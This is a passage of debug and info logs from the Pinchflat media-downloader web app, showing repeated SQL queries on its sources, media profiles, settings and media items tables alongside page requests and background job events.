s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:28:39.888 [debug] QUERY OK source="media_profiles" db=0.4ms idle=878.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:28:39.888 [debug] QUERY OK source="settings" db=0.2ms idle=409.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.889 [debug] QUERY OK source="settings" db=0.2ms idle=410.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.890 [debug] QUERY OK source="settings" db=0.2ms idle=410.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.891 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.892 [debug] QUERY OK source="settings" db=0.3ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.897 [info] Sent 200 in 11ms 02:28:43.829 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.255 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:13.831 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:36.966 [info] GET /sources/new 02:29:36.966 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 02:29:36.967 [debug] QUERY OK source="sources" db=0.5ms idle=1487.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:29:36.968 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1488.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:29:36.969 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1489.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:36.970 [debug] QUERY OK source="settings" db=0.2ms idle=840.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:36.970 [debug] QUERY OK source="settings" db=0.2ms idle=491.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:36.971 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:36.972 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:36.978 [info] Sent 200 in 12ms 02:29:43.833 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.256 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:13.835 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:29.767 [info] GET /sources/new 02:30:29.767 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "4"} Pipelines: [:browser] 02:30:29.768 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1288.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:30:29.769 [debug] QUERY OK source="media_profiles" db=0.6ms idle=530.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:30:29.770 [debug] QUERY OK source="settings" db=0.3ms idle=290.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.771 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=291.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.771 [debug] QUERY OK source="settings" db=0.2ms idle=292.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.772 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.773 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.779 [info] Sent 200 in 11ms 02:30:43.837 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.257 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:13.839 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:16.376 [info] GET /media/30265ca9-3568-4173-8edb-726382d2de49/stream 02:31:16.377 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "30265ca9-3568-4173-8edb-726382d2de49", "v" => "1728528957"} Pipelines: [:maybe_basic_auth] 02:31:16.402 [debug] QUERY OK source="media_items" db=24.4ms idle=898.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["30265ca9-3568-4173-8edb-726382d2de49"] 02:31:16.402 [debug] Invalid range request for media item: 30265ca9-3568-4173-8edb-726382d2de49 - serving full file 02:31:16.402 [info] Sent 200 in 25ms 02:31:43.842 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:57.005 [info] GET /media/e8641b4c-94a4-4760-a749-e793ce8341d4/stream 02:31:57.006 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e8641b4c-94a4-4760-a749-e793ce8341d4", "v" => "1728529670"} Pipelines: [:maybe_basic_auth] 02:31:57.007 [debug] QUERY OK source="media_items" db=0.5ms idle=1593.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e8641b4c-94a4-4760-a749-e793ce8341d4"] 02:31:57.007 [debug] Invalid range request for media item: e8641b4c-94a4-4760-a749-e793ce8341d4 - serving full file 02:31:57.007 [info] Sent 200 in 1ms 02:32:00.258 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:13.844 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:33.346 [info] GET /sources/1/media/12 02:32:33.346 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:32:33.347 [debug] QUERY OK source="media_items" db=0.4ms idle=1189.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 02:32:33.348 [debug] QUERY OK source="tasks" db=0.4ms idle=1190.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12] 02:32:33.349 [debug] QUERY OK source="sources" db=0.8ms idle=1191.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:32:33.349 [debug] QUERY OK source="settings" db=0.2ms idle=861.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:32:33.350 [debug] QUERY OK source="settings" db=0.3ms idle=192.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:32:33.351 [debug] QUERY OK source="settings" db=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:32:33.353 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:32:33.355 [info] Sent 200 in 9ms 02:32:43.846 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.259 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:05.942 [info] GET /sources/1/media/10 02:33:05.942 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "10", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:33:05.943 [debug] QUERY OK source="media_items" db=0.4ms idle=1387.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 02:33:05.944 [debug] QUERY OK source="tasks" db=0.4ms idle=786.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [10] 02:33:05.944 [debug] QUERY OK source="sources" db=0.7ms idle=786.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:33:05.945 [debug] QUERY OK source="settings" db=0.2ms idle=787.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:05.946 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=388.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:05.947 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:05.948 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:33:05.951 [info] Sent 200 in 9ms 02:33:13.848 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:36.226 [info] GET /sources/1/media/11 02:33:36.226 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "11", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:33:36.227 [debug] QUERY OK source="media_items" db=0.4ms idle=1069.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 02:33:36.228 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1070.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [11] 02:33:36.228 [debug] QUERY OK source="sources" db=0.7ms idle=1070.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:33:36.229 [debug] QUERY OK source="settings" db=0.3ms idle=1071.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:36.230 [debug] QUERY OK source="settings" db=0.2ms idle=611.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:36.231 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:33:36.232 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:33:36.235 [info] Sent 200 in 9ms 02:33:43.850 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.260 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:04.022 [info] GET /media_profiles/1 02:34:04.023 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 02:34:04.024 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1866.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:34:04.025 [debug] QUERY OK source="sources" db=0.4ms idle=1867.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 02:34:04.025 [debug] QUERY OK source="settings" db=0.2ms idle=1868.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:04.026 [debug] QUERY OK source="settings" db=0.2ms idle=1353.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:04.027 [debug] QUERY OK source="settings" db=0.2ms idle=352.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:04.030 [info] Sent 200 in 7ms 02:34:13.852 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:27.683 [info] GET /media_profiles/2 02:34:27.683 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 02:34:27.684 [debug] QUERY OK source="media_profiles" db=0.5ms idle=963.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:34:27.685 [debug] QUERY OK source="sources" db=0.6ms idle=527.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 